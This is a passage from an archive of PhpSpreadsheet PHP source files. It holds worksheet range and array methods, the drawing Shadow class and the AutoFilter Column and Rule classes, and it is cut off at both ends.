true && $this->columnDimensionExists($col) && $this->getColumnDimension($col)->getVisible() === false) { $hiddenColumns[$col] = true; } else { $columnRef = $returnCellRef ? $col : ++$c; $nullRow[$columnRef] = $nullValue; } } return $nullRow; } private function validateNamedRange(string $definedName, bool $returnNullIfInvalid = false): ?DefinedName { $namedRange = DefinedName::resolveName($definedName, $this); if ($namedRange === null) { if ($returnNullIfInvalid) { return null; } throw new Exception('Named Range ' . $definedName . ' does not exist.'); } if ($namedRange->isFormula()) { if ($returnNullIfInvalid) { return null; } throw new Exception('Defined Named ' . $definedName . ' is a formula, not a range or cell.'); } if ($namedRange->getLocalOnly()) { $worksheet = $namedRange->getWorksheet(); if ($worksheet === null || $this->getHashCode() !== $worksheet->getHashCode()) { if ($returnNullIfInvalid) { return null; } throw new Exception( 'Named range ' . $definedName . ' is not accessible from within sheet ' . $this->getTitle() ); } } return $namedRange; } /** * Create array from a range of cells. * * @param string $definedName The Named Range that should be returned * @param mixed $nullValue Value returned in the array entry if a cell doesn't exist * @param bool $calculateFormulas Should formulas be calculated? * @param bool $formatData Should formatting be applied to cell values? * @param bool $returnCellRef False - Return a simple array of rows and columns indexed by number counting from zero * True - Return rows and columns indexed by their actual row and column IDs * @param bool $ignoreHidden False - Return values for rows/columns even if they are defined as hidden. * True - Don't return values for rows/columns that are defined as hidden. */ public function namedRangeToArray( string $definedName, mixed $nullValue = null, bool $calculateFormulas = true, bool $formatData = true, bool $returnCellRef = false, bool $ignoreHidden = false ): array { $retVal = []; $namedRange = $this->validateNamedRange($definedName); if ($namedRange !== null) { $cellRange = ltrim(substr($namedRange->getValue(), (int) strrpos($namedRange->getValue(), '!')), '!'); $cellRange = str_replace('$', '', $cellRange); $workSheet = $namedRange->getWorksheet(); if ($workSheet !== null) { $retVal = $workSheet->rangeToArray($cellRange, $nullValue, $calculateFormulas, $formatData, $returnCellRef, $ignoreHidden); } } return $retVal; } /** * Create array from worksheet. * * @param mixed $nullValue Value returned in the array entry if a cell doesn't exist * @param bool $calculateFormulas Should formulas be calculated? * @param bool $formatData Should formatting be applied to cell values? * @param bool $returnCellRef False - Return a simple array of rows and columns indexed by number counting from zero * True - Return rows and columns indexed by their actual row and column IDs * @param bool $ignoreHidden False - Return values for rows/columns even if they are defined as hidden. * True - Don't return values for rows/columns that are defined as hidden. */ public function toArray( mixed $nullValue = null, bool $calculateFormulas = true, bool $formatData = true, bool $returnCellRef = false, bool $ignoreHidden = false ): array { // Garbage collect... $this->garbageCollect(); // Identify the range that we need to extract from the worksheet $maxCol = $this->getHighestColumn(); $maxRow = $this->getHighestRow(); // Return return $this->rangeToArray("A1:{$maxCol}{$maxRow}", $nullValue, $calculateFormulas, $formatData, $returnCellRef, $ignoreHidden); } /** * Get row iterator. * * @param int $startRow The row number at which to start iterating * @param ?int $endRow The row number at which to stop iterating */ public function getRowIterator(int $startRow = 1, ?int $endRow = null): RowIterator { return new RowIterator($this, $startRow, $endRow); } /** * Get column iterator. * * @param string $startColumn The column address at which to start iterating * @param ?string $endColumn The column address at which to stop iterating */ public function getColumnIterator(string $startColumn = 'A', ?string $endColumn = null): ColumnIterator { return new ColumnIterator($this, $startColumn, $endColumn); } /** * Run PhpSpreadsheet garbage collector. * * @return $this */ public function garbageCollect(): static { // Flush cache $this->cellCollection->get('A1'); // Lookup highest column and highest row if cells are cleaned $colRow = $this->cellCollection->getHighestRowAndColumn(); $highestRow = $colRow['row']; $highestColumn = Coordinate::columnIndexFromString($colRow['column']); // Loop through column dimensions foreach ($this->columnDimensions as $dimension) { $highestColumn = max($highestColumn, Coordinate::columnIndexFromString($dimension->getColumnIndex())); } // Loop through row dimensions foreach ($this->rowDimensions as $dimension) { $highestRow = max($highestRow, $dimension->getRowIndex()); } // Cache values if ($highestColumn < 1) { $this->cachedHighestColumn = 1; } else { $this->cachedHighestColumn = $highestColumn; } $this->cachedHighestRow = $highestRow; // Return return $this; } /** * Get hash code. * * @return string Hash code */ public function getHashCode(): string { if ($this->dirty) { $this->hash = md5($this->title . $this->autoFilter . ($this->protection->isProtectionEnabled() ? 't' : 'f') . __CLASS__); $this->dirty = false; } return $this->hash; } /** * Extract worksheet title from range. * * Example: extractSheetTitle("testSheet!A1") ==> 'A1' * Example: extractSheetTitle("testSheet!A1:C3") ==> 'A1:C3' * Example: extractSheetTitle("'testSheet 1'!A1", true) ==> ['testSheet 1', 'A1']; * Example: extractSheetTitle("'testSheet 1'!A1:C3", true) ==> ['testSheet 1', 'A1:C3']; * Example: extractSheetTitle("A1", true) ==> ['', 'A1']; * Example: extractSheetTitle("A1:C3", true) ==> ['', 'A1:C3'] * * @param ?string $range Range to extract title from * @param bool $returnRange Return range? (see example) * * @return ($range is non-empty-string ? ($returnRange is true ? array{0: string, 1: string} : string) : ($returnRange is true ? array{0: null, 1: null} : null)) */ public static function extractSheetTitle(?string $range, bool $returnRange = false): array|null|string { if (empty($range)) { return $returnRange ? [null, null] : null; } // Sheet title included? if (($sep = strrpos($range, '!')) === false) { return $returnRange ? ['', $range] : ''; } if ($returnRange) { return [substr($range, 0, $sep), substr($range, $sep + 1)]; } return substr($range, $sep + 1); } /** * Get hyperlink. * * @param string $cellCoordinate Cell coordinate to get hyperlink for, eg: 'A1' */ public function getHyperlink(string $cellCoordinate): Hyperlink { // return hyperlink if we already have one if (isset($this->hyperlinkCollection[$cellCoordinate])) { return $this->hyperlinkCollection[$cellCoordinate]; } // else create hyperlink $this->hyperlinkCollection[$cellCoordinate] = new Hyperlink(); return $this->hyperlinkCollection[$cellCoordinate]; } /** * Set hyperlink. * * @param string $cellCoordinate Cell coordinate to insert hyperlink, eg: 'A1' * * @return $this */ public function setHyperlink(string $cellCoordinate, ?Hyperlink $hyperlink = null): static { if ($hyperlink === null) { unset($this->hyperlinkCollection[$cellCoordinate]); } else { $this->hyperlinkCollection[$cellCoordinate] = $hyperlink; } return $this; } /** * Hyperlink at a specific coordinate exists? * * @param string $coordinate eg: 'A1' */ public function hyperlinkExists(string $coordinate): bool { return isset($this->hyperlinkCollection[$coordinate]); } /** * Get collection of hyperlinks. * * @return Hyperlink[] */ public function getHyperlinkCollection(): array { return $this->hyperlinkCollection; } /** * Get data validation. * * @param string $cellCoordinate Cell coordinate to get data validation for, eg: 'A1' */ public function getDataValidation(string $cellCoordinate): DataValidation { // return data validation if we already have one if (isset($this->dataValidationCollection[$cellCoordinate])) { return $this->dataValidationCollection[$cellCoordinate]; } // else create data validation $this->dataValidationCollection[$cellCoordinate] = new DataValidation(); return $this->dataValidationCollection[$cellCoordinate]; } /** * Set data validation. * * @param string $cellCoordinate Cell coordinate to insert data validation, eg: 'A1' * * @return $this */ public function setDataValidation(string $cellCoordinate, ?DataValidation $dataValidation = null): static { if ($dataValidation === null) { unset($this->dataValidationCollection[$cellCoordinate]); } else { $this->dataValidationCollection[$cellCoordinate] = $dataValidation; } return $this; } /** * Data validation at a specific coordinate exists? * * @param string $coordinate eg: 'A1' */ public function dataValidationExists(string $coordinate): bool { return isset($this->dataValidationCollection[$coordinate]); } /** * Get collection of data validations. * * @return DataValidation[] */ public function getDataValidationCollection(): array { return $this->dataValidationCollection; } /** * Accepts a range, returning it as a range that falls within the current highest row and column of the worksheet. * * @return string Adjusted range value */ public function shrinkRangeToFit(string $range): string { $maxCol = $this->getHighestColumn(); $maxRow = $this->getHighestRow(); $maxCol = Coordinate::columnIndexFromString($maxCol); $rangeBlocks = explode(' ', $range); foreach ($rangeBlocks as &$rangeSet) { $rangeBoundaries = Coordinate::getRangeBoundaries($rangeSet); if (Coordinate::columnIndexFromString($rangeBoundaries[0][0]) > $maxCol) { $rangeBoundaries[0][0] = Coordinate::stringFromColumnIndex($maxCol); } if ($rangeBoundaries[0][1] > $maxRow) { $rangeBoundaries[0][1] = $maxRow; } if (Coordinate::columnIndexFromString($rangeBoundaries[1][0]) > $maxCol) { $rangeBoundaries[1][0] = Coordinate::stringFromColumnIndex($maxCol); } if ($rangeBoundaries[1][1] > $maxRow) { $rangeBoundaries[1][1] = $maxRow; } $rangeSet = $rangeBoundaries[0][0] . $rangeBoundaries[0][1] . ':' . $rangeBoundaries[1][0] . $rangeBoundaries[1][1]; } unset($rangeSet); return implode(' ', $rangeBlocks); } /** * Get tab color. */ public function getTabColor(): Color { if ($this->tabColor === null) { $this->tabColor = new Color(); } return $this->tabColor; } /** * Reset tab color. * * @return $this */ public function resetTabColor(): static { $this->tabColor = null; return $this; } /** * Tab color set? */ public function isTabColorSet(): bool { return $this->tabColor !== null; } /** * Copy worksheet (!= clone!). */ public function copy(): static { return clone $this; } /** * Returns a boolean true if the specified row contains no cells. By default, this means that no cell records * exist in the collection for this row. false will be returned otherwise. * This rule can be modified by passing a $definitionOfEmptyFlags value: * 1 - CellIterator::TREAT_NULL_VALUE_AS_EMPTY_CELL If the only cells in the collection are null value * cells, then the row will be considered empty. * 2 - CellIterator::TREAT_EMPTY_STRING_AS_EMPTY_CELL If the only cells in the collection are empty * string value cells, then the row will be considered empty. * 3 - CellIterator::TREAT_NULL_VALUE_AS_EMPTY_CELL | CellIterator::TREAT_EMPTY_STRING_AS_EMPTY_CELL * If the only cells in the collection are null value or empty string value cells, then the row * will be considered empty. * * @param int $definitionOfEmptyFlags * Possible Flag Values are: * CellIterator::TREAT_NULL_VALUE_AS_EMPTY_CELL * CellIterator::TREAT_EMPTY_STRING_AS_EMPTY_CELL */ public function isEmptyRow(int $rowId, int $definitionOfEmptyFlags = 0): bool { try { $iterator = new RowIterator($this, $rowId, $rowId); $iterator->seek($rowId); $row = $iterator->current(); } catch (Exception) { return true; } return $row->isEmpty($definitionOfEmptyFlags); } /** * Returns a boolean true if the specified column contains no cells. By default, this means that no cell records * exist in the collection for this column. false will be returned otherwise. * This rule can be modified by passing a $definitionOfEmptyFlags value: * 1 - CellIterator::TREAT_NULL_VALUE_AS_EMPTY_CELL If the only cells in the collection are null value * cells, then the column will be considered empty. * 2 - CellIterator::TREAT_EMPTY_STRING_AS_EMPTY_CELL If the only cells in the collection are empty * string value cells, then the column will be considered empty. * 3 - CellIterator::TREAT_NULL_VALUE_AS_EMPTY_CELL | CellIterator::TREAT_EMPTY_STRING_AS_EMPTY_CELL * If the only cells in the collection are null value or empty string value cells, then the column * will be considered empty. * * @param int $definitionOfEmptyFlags * Possible Flag Values are: * CellIterator::TREAT_NULL_VALUE_AS_EMPTY_CELL * CellIterator::TREAT_EMPTY_STRING_AS_EMPTY_CELL */ public function isEmptyColumn(string $columnId, int $definitionOfEmptyFlags = 0): bool { try { $iterator = new ColumnIterator($this, $columnId, $columnId); $iterator->seek($columnId); $column = $iterator->current(); } catch (Exception) { return true; } return $column->isEmpty($definitionOfEmptyFlags); } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { // @phpstan-ignore-next-line foreach ($this as $key => $val) { if ($key == 'parent') { continue; } if (is_object($val) || (is_array($val))) { if ($key == 'cellCollection') { $newCollection = $this->cellCollection->cloneCellCollection($this); $this->cellCollection = $newCollection; } elseif ($key == 'drawingCollection') { $currentCollection = $this->drawingCollection; $this->drawingCollection = new ArrayObject(); foreach ($currentCollection as $item) { $newDrawing = clone $item; $newDrawing->setWorksheet($this); } } elseif ($key == 'tableCollection') { $currentCollection = $this->tableCollection; $this->tableCollection = new ArrayObject(); foreach ($currentCollection as $item) { $newTable = clone $item; $newTable->setName($item->getName() . 'clone'); $this->addTable($newTable); } } elseif ($key == 'chartCollection') { $currentCollection = $this->chartCollection; $this->chartCollection = new ArrayObject(); foreach ($currentCollection as $item) { $newChart = clone $item; $this->addChart($newChart); } } elseif (($key == 'autoFilter') && ($this->autoFilter instanceof AutoFilter)) { $newAutoFilter = clone $this->autoFilter; $this->autoFilter = $newAutoFilter; $this->autoFilter->setParent($this); } else { $this->{$key} = unserialize(serialize($val)); } } } } /** * Define the code name of the sheet. * * @param string $codeName Same rule as Title minus space not allowed (but, like Excel, change * silently space to underscore) * @param bool $validate False to skip validation of new title. WARNING: This should only be set * at parse time (by Readers), where titles can be assumed to be valid. * * @return $this */ public function setCodeName(string $codeName, bool $validate = true): static { // Is this a 'rename' or not? if ($this->getCodeName() == $codeName) { return $this; } if ($validate) { $codeName = str_replace(' ', '_', $codeName); //Excel does this automatically without flinching, we are doing the same // Syntax check // throw an exception if not valid self::checkSheetCodeName($codeName); // We use the same code that setTitle to find a valid codeName else not using a space (Excel don't like) but a '_' if ($this->parent !== null) { // Is there already such sheet name? if ($this->parent->sheetCodeNameExists($codeName)) { // Use name, but append with lowest possible integer if (Shared\StringHelper::countCharacters($codeName) > 29) { $codeName = Shared\StringHelper::substring($codeName, 0, 29); } $i = 1; while ($this->getParentOrThrow()->sheetCodeNameExists($codeName . '_' . $i)) { ++$i; if ($i == 10) { if (Shared\StringHelper::countCharacters($codeName) > 28) { $codeName = Shared\StringHelper::substring($codeName, 0, 28); } } elseif ($i == 100) { if (Shared\StringHelper::countCharacters($codeName) > 27) { $codeName = Shared\StringHelper::substring($codeName, 0, 27); } } } $codeName .= '_' . $i; // ok, we have a valid name } } } $this->codeName = $codeName; return $this; } /** * Return the code name of the sheet. */ public function getCodeName(): ?string { return $this->codeName; } /** * Sheet has a code name ? */ public function hasCodeName(): bool { return $this->codeName !== null; } public static function nameRequiresQuotes(string $sheetName): bool { return preg_match(self::SHEET_NAME_REQUIRES_NO_QUOTES, $sheetName) !== 1; } public function isRowVisible(int $row): bool { return !$this->rowDimensionExists($row) || $this->getRowDimension($row)->getVisible(); } /** * Same as Cell->isLocked, but without creating cell if it doesn't exist. */ public function isCellLocked(string $coordinate): bool { if ($this->getProtection()->getsheet() !== true) { return false; } if ($this->cellExists($coordinate)) { return $this->getCell($coordinate)->isLocked(); } $spreadsheet = $this->parent; $xfIndex = $this->getXfIndex($coordinate); if ($spreadsheet === null || $xfIndex === null) { return true; } return $spreadsheet->getCellXfByIndex($xfIndex)->getProtection()->getLocked() !== StyleProtection::PROTECTION_UNPROTECTED; } /** * Same as Cell->isHiddenOnFormulaBar, but without creating cell if it doesn't exist. */ public function isCellHiddenOnFormulaBar(string $coordinate): bool { if ($this->cellExists($coordinate)) { return $this->getCell($coordinate)->isHiddenOnFormulaBar(); } // cell doesn't exist, therefore isn't a formula, // therefore isn't hidden on formula bar. return false; } private function getXfIndex(string $coordinate): ?int { [$column, $row] = Coordinate::coordinateFromString($coordinate); $row = (int) $row; $xfIndex = null; if ($this->rowDimensionExists($row)) { $xfIndex = $this->getRowDimension($row)->getXfIndex(); } if ($xfIndex === null && $this->ColumnDimensionExists($column)) { $xfIndex = $this->getColumnDimension($column)->getXfIndex(); } return $xfIndex; } private string $backgroundImage = ''; private string $backgroundMime = ''; private string $backgroundExtension = ''; public function getBackgroundImage(): string { return $this->backgroundImage; } public function getBackgroundMime(): string { return $this->backgroundMime; } public function getBackgroundExtension(): string { return $this->backgroundExtension; } /** * Set background image. * Used on read/write for Xlsx. * Used on write for Html. * * @param string $backgroundImage Image represented as a string, e.g. results of file_get_contents */ public function setBackgroundImage(string $backgroundImage): self { $imageArray = getimagesizefromstring($backgroundImage) ?: ['mime' => '']; $mime = $imageArray['mime']; if ($mime !== '') { $extension = explode('/', $mime); $extension = $extension[1]; $this->backgroundImage = $backgroundImage; $this->backgroundMime = $mime; $this->backgroundExtension = $extension; } return $this; } /** * Copy cells, adjusting relative cell references in formulas. * Acts similarly to Excel "fill handle" feature. * * @param string $fromCell Single source cell, e.g. C3 * @param string $toCells Single cell or cell range, e.g. C4 or C4:C10 * @param bool $copyStyle Copy styles as well as values, defaults to true */ public function copyCells(string $fromCell, string $toCells, bool $copyStyle = true): void { $toArray = Coordinate::extractAllCellReferencesInRange($toCells); $value = $this->getCell($fromCell)->getValue(); $style = $this->getStyle($fromCell)->exportArray(); $fromIndexes = Coordinate::indexesFromString($fromCell); $referenceHelper = ReferenceHelper::getInstance(); foreach ($toArray as $destination) { if ($destination !== $fromCell) { $toIndexes = Coordinate::indexesFromString($destination); $this->getCell($destination)->setValue($referenceHelper->updateFormulaReferences($value, 'A1', $toIndexes[0] - $fromIndexes[0], $toIndexes[1] - $fromIndexes[1])); if ($copyStyle) { $this->getCell($destination)->getStyle()->applyFromArray($style); } } } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/Drawing/Shadow.php000064400000010521151676714400022552 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet\Drawing; use PhpOffice\PhpSpreadsheet\IComparable; use PhpOffice\PhpSpreadsheet\Style\Color; class Shadow implements IComparable { // Shadow alignment const SHADOW_BOTTOM = 'b'; const SHADOW_BOTTOM_LEFT = 'bl'; const SHADOW_BOTTOM_RIGHT = 'br'; const SHADOW_CENTER = 'ctr'; const SHADOW_LEFT = 'l'; const SHADOW_TOP = 't'; const SHADOW_TOP_LEFT = 'tl'; const SHADOW_TOP_RIGHT = 'tr'; /** * Visible. */ private bool $visible; /** * Blur radius. * * Defaults to 6 */ private int $blurRadius; /** * Shadow distance. * * Defaults to 2 */ private int $distance; /** * Shadow direction (in degrees). */ private int $direction; /** * Shadow alignment. */ private string $alignment; /** * Color. */ private Color $color; /** * Alpha. */ private int $alpha; /** * Create a new Shadow. */ public function __construct() { // Initialise values $this->visible = false; $this->blurRadius = 6; $this->distance = 2; $this->direction = 0; $this->alignment = self::SHADOW_BOTTOM_RIGHT; $this->color = new Color(Color::COLOR_BLACK); $this->alpha = 50; } /** * Get Visible. */ public function getVisible(): bool { return $this->visible; } /** * Set Visible. * * @return $this */ public function setVisible(bool $visible): static { $this->visible = $visible; return $this; } /** * Get Blur radius. */ public function getBlurRadius(): int { return $this->blurRadius; } /** * Set Blur radius. * * @return $this */ public function setBlurRadius(int $blurRadius): static { $this->blurRadius = $blurRadius; return $this; } /** * Get Shadow distance. */ public function getDistance(): int { return $this->distance; } /** * Set Shadow distance. * * @return $this */ public function setDistance(int $distance): static { $this->distance = $distance; return $this; } /** * Get Shadow direction (in degrees). */ public function getDirection(): int { return $this->direction; } /** * Set Shadow direction (in degrees). * * @return $this */ public function setDirection(int $direction): static { $this->direction = $direction; return $this; } /** * Get Shadow alignment. */ public function getAlignment(): string { return $this->alignment; } /** * Set Shadow alignment. * * @return $this */ public function setAlignment(string $alignment): static { $this->alignment = $alignment; return $this; } /** * Get Color. */ public function getColor(): Color { return $this->color; } /** * Set Color. * * @return $this */ public function setColor(Color $color): static { $this->color = $color; return $this; } /** * Get Alpha. */ public function getAlpha(): int { return $this->alpha; } /** * Set Alpha. * * @return $this */ public function setAlpha(int $alpha): static { $this->alpha = $alpha; return $this; } /** * Get hash code. * * @return string Hash code */ public function getHashCode(): string { return md5( ($this->visible ? 't' : 'f') . $this->blurRadius . $this->distance . $this->direction . $this->alignment . $this->color->getHashCode() . $this->alpha . __CLASS__ ); } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $vars = get_object_vars($this); foreach ($vars as $key => $value) { if (is_object($value)) { $this->$key = clone $value; } else { $this->$key = $value; } } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/AutoFilter/Column.php000064400000022321151676714400023246 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet\AutoFilter; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; use PhpOffice\PhpSpreadsheet\Worksheet\AutoFilter; class Column { const AUTOFILTER_FILTERTYPE_FILTER = 'filters'; const AUTOFILTER_FILTERTYPE_CUSTOMFILTER = 'customFilters'; // Supports no more than 2 rules, with an And/Or join criteria // if more than 1 rule is defined const AUTOFILTER_FILTERTYPE_DYNAMICFILTER = 'dynamicFilter'; // Even though the filter rule is constant, the filtered data can vary // e.g. filtered by date = TODAY const AUTOFILTER_FILTERTYPE_TOPTENFILTER = 'top10'; /** * Types of autofilter rules. * * @var string[] */ private static array $filterTypes = [ // Currently we're not handling // colorFilter // extLst // iconFilter self::AUTOFILTER_FILTERTYPE_FILTER, self::AUTOFILTER_FILTERTYPE_CUSTOMFILTER, self::AUTOFILTER_FILTERTYPE_DYNAMICFILTER, self::AUTOFILTER_FILTERTYPE_TOPTENFILTER, ]; // Multiple Rule Connections const AUTOFILTER_COLUMN_JOIN_AND = 'and'; const AUTOFILTER_COLUMN_JOIN_OR = 'or'; /** * Join options for autofilter rules. * * @var string[] */ private static array $ruleJoins = [ self::AUTOFILTER_COLUMN_JOIN_AND, self::AUTOFILTER_COLUMN_JOIN_OR, ]; /** * Autofilter. */ private ?AutoFilter $parent; /** * Autofilter Column Index. */ private string $columnIndex; /** * Autofilter Column Filter Type. */ private string $filterType = self::AUTOFILTER_FILTERTYPE_FILTER; /** * Autofilter Multiple Rules And/Or. */ private string $join = self::AUTOFILTER_COLUMN_JOIN_OR; /** * Autofilter Column Rules. * * @var Column\Rule[] */ private array $ruleset = []; /** * Autofilter Column Dynamic Attributes. * * @var mixed[] */ private array $attributes = []; /** * Create a new Column. * * @param string $column Column (e.g. A) * @param ?AutoFilter $parent Autofilter for this column */ public function __construct(string $column, ?AutoFilter $parent = null) { $this->columnIndex = $column; $this->parent = $parent; } public function setEvaluatedFalse(): void { if ($this->parent !== null) { $this->parent->setEvaluated(false); } } /** * Get AutoFilter column index as string eg: 'A'. */ public function getColumnIndex(): string { return $this->columnIndex; } /** * Set AutoFilter column index as string eg: 'A'. * * @param string $column Column (e.g. A) * * @return $this */ public function setColumnIndex(string $column): static { $this->setEvaluatedFalse(); // Uppercase coordinate $column = strtoupper($column); if ($this->parent !== null) { $this->parent->testColumnInRange($column); } $this->columnIndex = $column; return $this; } /** * Get this Column's AutoFilter Parent. */ public function getParent(): ?AutoFilter { return $this->parent; } /** * Set this Column's AutoFilter Parent. * * @return $this */ public function setParent(?AutoFilter $parent = null): static { $this->setEvaluatedFalse(); $this->parent = $parent; return $this; } /** * Get AutoFilter Type. */ public function getFilterType(): string { return $this->filterType; } /** * Set AutoFilter Type. * * @return $this */ public function setFilterType(string $filterType): static { $this->setEvaluatedFalse(); if (!in_array($filterType, self::$filterTypes)) { throw new PhpSpreadsheetException('Invalid filter type for column AutoFilter.'); } if ($filterType === self::AUTOFILTER_FILTERTYPE_CUSTOMFILTER && count($this->ruleset) > 2) { throw new PhpSpreadsheetException('No more than 2 rules are allowed in a Custom Filter'); } $this->filterType = $filterType; return $this; } /** * Get AutoFilter Multiple Rules And/Or Join. */ public function getJoin(): string { return $this->join; } /** * Set AutoFilter Multiple Rules And/Or. * * @param string $join And/Or * * @return $this */ public function setJoin(string $join): static { $this->setEvaluatedFalse(); // Lowercase And/Or $join = strtolower($join); if (!in_array($join, self::$ruleJoins)) { throw new PhpSpreadsheetException('Invalid rule connection for column AutoFilter.'); } $this->join = $join; return $this; } /** * Set AutoFilter Attributes. * * @param mixed[] $attributes * * @return $this */ public function setAttributes(array $attributes): static { $this->setEvaluatedFalse(); $this->attributes = $attributes; return $this; } /** * Set An AutoFilter Attribute. * * @param string $name Attribute Name * @param int|string $value Attribute Value * * @return $this */ public function setAttribute(string $name, $value): static { $this->setEvaluatedFalse(); $this->attributes[$name] = $value; return $this; } /** * Get AutoFilter Column Attributes. * * @return int[]|string[] */ public function getAttributes(): array { return $this->attributes; } /** * Get specific AutoFilter Column Attribute. * * @param string $name Attribute Name */ public function getAttribute(string $name): null|int|string { if (isset($this->attributes[$name])) { return $this->attributes[$name]; } return null; } public function ruleCount(): int { return count($this->ruleset); } /** * Get all AutoFilter Column Rules. * * @return Column\Rule[] */ public function getRules(): array { return $this->ruleset; } /** * Get a specified AutoFilter Column Rule. * * @param int $index Rule index in the ruleset array */ public function getRule(int $index): Column\Rule { if (!isset($this->ruleset[$index])) { $this->ruleset[$index] = new Column\Rule($this); } return $this->ruleset[$index]; } /** * Create a new AutoFilter Column Rule in the ruleset. */ public function createRule(): Column\Rule { $this->setEvaluatedFalse(); if ($this->filterType === self::AUTOFILTER_FILTERTYPE_CUSTOMFILTER && count($this->ruleset) >= 2) { throw new PhpSpreadsheetException('No more than 2 rules are allowed in a Custom Filter'); } $this->ruleset[] = new Column\Rule($this); return end($this->ruleset); } /** * Add a new AutoFilter Column Rule to the ruleset. * * @return $this */ public function addRule(Column\Rule $rule): static { $this->setEvaluatedFalse(); $rule->setParent($this); $this->ruleset[] = $rule; return $this; } /** * Delete a specified AutoFilter Column Rule * If the number of rules is reduced to 1, then we reset And/Or logic to Or. * * @param int $index Rule index in the ruleset array * * @return $this */ public function deleteRule(int $index): static { $this->setEvaluatedFalse(); if (isset($this->ruleset[$index])) { unset($this->ruleset[$index]); // If we've just deleted down to a single rule, then reset And/Or joining to Or if (count($this->ruleset) <= 1) { $this->setJoin(self::AUTOFILTER_COLUMN_JOIN_OR); } } return $this; } /** * Delete all AutoFilter Column Rules. * * @return $this */ public function clearRules(): static { $this->setEvaluatedFalse(); $this->ruleset = []; $this->setJoin(self::AUTOFILTER_COLUMN_JOIN_OR); return $this; } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $vars = get_object_vars($this); foreach ($vars as $key => $value) { if ($key === 'parent') { // Detach from autofilter parent $this->parent = null; } elseif ($key === 'ruleset') { // The columns array of \PhpOffice\PhpSpreadsheet\Worksheet\Worksheet\AutoFilter objects $this->ruleset = []; foreach ($value as $k => $v) { $cloned = clone $v; $cloned->setParent($this); // attach the new cloned Rule to this new cloned Autofilter Cloned object $this->ruleset[$k] = $cloned; } } else { $this->$key = $value; } } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/AutoFilter/Column/Rule.php000064400000034710151676714400024162 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet\AutoFilter\Column; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; use PhpOffice\PhpSpreadsheet\Worksheet\AutoFilter\Column; class Rule { const AUTOFILTER_RULETYPE_FILTER = 'filter'; const AUTOFILTER_RULETYPE_DATEGROUP = 'dateGroupItem'; const AUTOFILTER_RULETYPE_CUSTOMFILTER = 'customFilter'; const AUTOFILTER_RULETYPE_DYNAMICFILTER = 'dynamicFilter'; const AUTOFILTER_RULETYPE_TOPTENFILTER = 'top10Filter'; private const RULE_TYPES = [ // Currently we're not handling // colorFilter // extLst // iconFilter self::AUTOFILTER_RULETYPE_FILTER, self::AUTOFILTER_RULETYPE_DATEGROUP, self::AUTOFILTER_RULETYPE_CUSTOMFILTER, self::AUTOFILTER_RULETYPE_DYNAMICFILTER, self::AUTOFILTER_RULETYPE_TOPTENFILTER, ]; const AUTOFILTER_RULETYPE_DATEGROUP_YEAR = 'year'; const AUTOFILTER_RULETYPE_DATEGROUP_MONTH = 'month'; const AUTOFILTER_RULETYPE_DATEGROUP_DAY = 'day'; const AUTOFILTER_RULETYPE_DATEGROUP_HOUR = 'hour'; const AUTOFILTER_RULETYPE_DATEGROUP_MINUTE = 'minute'; const AUTOFILTER_RULETYPE_DATEGROUP_SECOND = 'second'; private const DATE_TIME_GROUPS = [ self::AUTOFILTER_RULETYPE_DATEGROUP_YEAR, self::AUTOFILTER_RULETYPE_DATEGROUP_MONTH, self::AUTOFILTER_RULETYPE_DATEGROUP_DAY, self::AUTOFILTER_RULETYPE_DATEGROUP_HOUR, self::AUTOFILTER_RULETYPE_DATEGROUP_MINUTE, self::AUTOFILTER_RULETYPE_DATEGROUP_SECOND, ]; const AUTOFILTER_RULETYPE_DYNAMIC_YESTERDAY = 'yesterday'; const AUTOFILTER_RULETYPE_DYNAMIC_TODAY = 'today'; const AUTOFILTER_RULETYPE_DYNAMIC_TOMORROW = 'tomorrow'; const AUTOFILTER_RULETYPE_DYNAMIC_YEARTODATE = 'yearToDate'; const AUTOFILTER_RULETYPE_DYNAMIC_THISYEAR = 'thisYear'; const AUTOFILTER_RULETYPE_DYNAMIC_THISQUARTER = 'thisQuarter'; const AUTOFILTER_RULETYPE_DYNAMIC_THISMONTH = 'thisMonth'; const AUTOFILTER_RULETYPE_DYNAMIC_THISWEEK = 'thisWeek'; const AUTOFILTER_RULETYPE_DYNAMIC_LASTYEAR = 'lastYear'; const AUTOFILTER_RULETYPE_DYNAMIC_LASTQUARTER = 'lastQuarter'; const AUTOFILTER_RULETYPE_DYNAMIC_LASTMONTH = 'lastMonth'; const AUTOFILTER_RULETYPE_DYNAMIC_LASTWEEK = 'lastWeek'; const AUTOFILTER_RULETYPE_DYNAMIC_NEXTYEAR = 'nextYear'; const AUTOFILTER_RULETYPE_DYNAMIC_NEXTQUARTER = 'nextQuarter'; const AUTOFILTER_RULETYPE_DYNAMIC_NEXTMONTH = 'nextMonth'; const AUTOFILTER_RULETYPE_DYNAMIC_NEXTWEEK = 'nextWeek'; const AUTOFILTER_RULETYPE_DYNAMIC_MONTH_1 = 'M1'; const AUTOFILTER_RULETYPE_DYNAMIC_JANUARY = self::AUTOFILTER_RULETYPE_DYNAMIC_MONTH_1; const AUTOFILTER_RULETYPE_DYNAMIC_MONTH_2 = 'M2'; const AUTOFILTER_RULETYPE_DYNAMIC_FEBRUARY = self::AUTOFILTER_RULETYPE_DYNAMIC_MONTH_2; const AUTOFILTER_RULETYPE_DYNAMIC_MONTH_3 = 'M3'; const AUTOFILTER_RULETYPE_DYNAMIC_MARCH = self::AUTOFILTER_RULETYPE_DYNAMIC_MONTH_3; const AUTOFILTER_RULETYPE_DYNAMIC_MONTH_4 = 'M4'; const AUTOFILTER_RULETYPE_DYNAMIC_APRIL = self::AUTOFILTER_RULETYPE_DYNAMIC_MONTH_4; const AUTOFILTER_RULETYPE_DYNAMIC_MONTH_5 = 'M5'; const AUTOFILTER_RULETYPE_DYNAMIC_MAY = self::AUTOFILTER_RULETYPE_DYNAMIC_MONTH_5; const AUTOFILTER_RULETYPE_DYNAMIC_MONTH_6 = 'M6'; const 